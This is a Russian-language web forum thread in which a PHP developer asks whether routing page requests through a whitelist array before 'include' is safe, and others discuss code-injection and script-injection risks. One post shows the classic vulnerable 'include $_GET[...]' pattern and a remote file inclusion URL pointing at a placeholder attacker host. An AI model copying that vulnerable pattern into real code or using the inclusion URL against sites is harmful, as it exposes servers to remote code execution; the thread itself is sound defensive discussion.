Вопрос безопасности
index.php?page=test
$a['test']='test';
echo $a[$_GET['page']];
Цитата:
Originally posted by MasterSID
Несет ли в себе такой метод потенциальную дыру в безопасности:
index.php?page=test
$a['test']='test';
echo $a[$_GET['page']];
Несет ли в себе такой метод потенциальную дыру в безопасности:
index.php?page=test
$a['test']='test';
echo $a[$_GET['page']];
А что еще лежит в $a и о чем может знать злоумышленник?
секретных данных там нет, как раз наоборот. просто может тут есть какой-то подводный камень о котором я не знаю. ПРосто решил спросить
Цитата:
Originally posted by MasterSID
секретных данных там нет, как раз наоборот. просто может тут есть какой-то подводный камень о котором я не знаю. ПРосто решил спросить
секретных данных там нет, как раз наоборот. просто может тут есть какой-то подводный камень о котором я не знаю. ПРосто решил спросить
Лучше определись с данными и фильтруй.
ТАк я и хочу через массив фильтровать. Например хранить в массиве список разрешенных для посещения разделов а потом тупой проверкой if($a[$page]) разрешать доступ. Вот мне и интересно, если $page будет проходить напрямую из вне без проверок - есть ли опасность?
Цитата:
Originally posted by MasterSID
ТАк я и хочу через массив фильтровать. Например хранить в массиве список разрешенных для посещения разделов а потом тупой проверкой if($a[$page]) разрешать доступ. Вот мне и интересно, если $page будет проходить напрямую из вне без проверок - есть ли опасность?
ТАк я и хочу через массив фильтровать. Например хранить в массиве список разрешенных для посещения разделов а потом тупой проверкой if($a[$page]) разрешать доступ. Вот мне и интересно, если $page будет проходить напрямую из вне без проверок - есть ли опасность?
Если ты при этом по этой ссылке страничку инклудишь, от вставкой php кода, если просто в браузер выводишь, то JavaScript. Что за этим может последовать? Проще тебе будет на securitylab.ru, web-hack.ru и т.д. сходить, просто там это всё уже обтиралось. От себя могу добавить, только одно - не очень это хорошо.
site.com?page=news
include $_GET['news'].".php";
Тогда есть дыра типа site.com?page=http://www.attacker.com/attack.php
У меня же идет так:
site.com?page=news
$pages['news']='news.php';
$pages['articles']='articles.php';
...
$pages['links']='links.php';
if($pages[$_GET['page']])include $pages[$_GET['page']];
Мне кажется что тут все безопасно, н омало ли. Просто удобно, когда на сайте действует система прав доступа - легко через массив разрешать или запрещать.
Кто что про это думает?
Цитата:
Originally posted by MasterSID
я немного тебя не понял, но думаю, что ты имеешь в виду вариант, когда делается так:
site.com?page=news
include $_GET['news'].".php";
Тогда есть дыра типа site.com?page=http://www.attacker.com/attack.php
У меня же идет так:
site.com?page=news
$pages['news']='news.php';
$pages['articles']='articles.php';
...
$pages['links']='links.php';
if($pages[$_GET['page']])include $pages[$_GET['page']];
Мне кажется что тут все безопасно, н омало ли. Просто удобно, когда на сайте действует система прав доступа - легко через массив разрешать или запрещать.
Кто что про это думает?
я немного тебя не понял, но думаю, что ты имеешь в виду вариант, когда делается так:
site.com?page=news
include $_GET['news'].".php";
Тогда есть дыра типа site.com?page=http://www.attacker.com/attack.php
У меня же идет так:
site.com?page=news
$pages['news']='news.php';
$pages['articles']='articles.php';
...
$pages['links']='links.php';
if($pages[$_GET['page']])include $pages[$_GET['page']];
Мне кажется что тут все безопасно, н омало ли. Просто удобно, когда на сайте действует система прав доступа - легко через массив разрешать или запрещать.
Кто что про это думает?
Я конечно не параноик, но всё же через элементарный strlen(), addslashes() и возможно через htmlspecialchars() пропустить не помешало бы, они быстрые, да и тебе хлопот меньше было бы. Хотел линк найти, но иконки качаються и у меня тут страничка еле еле открываеться:(. Вечером попытаюсь отетить на вопрос ссылкой с статьёй на эту тему.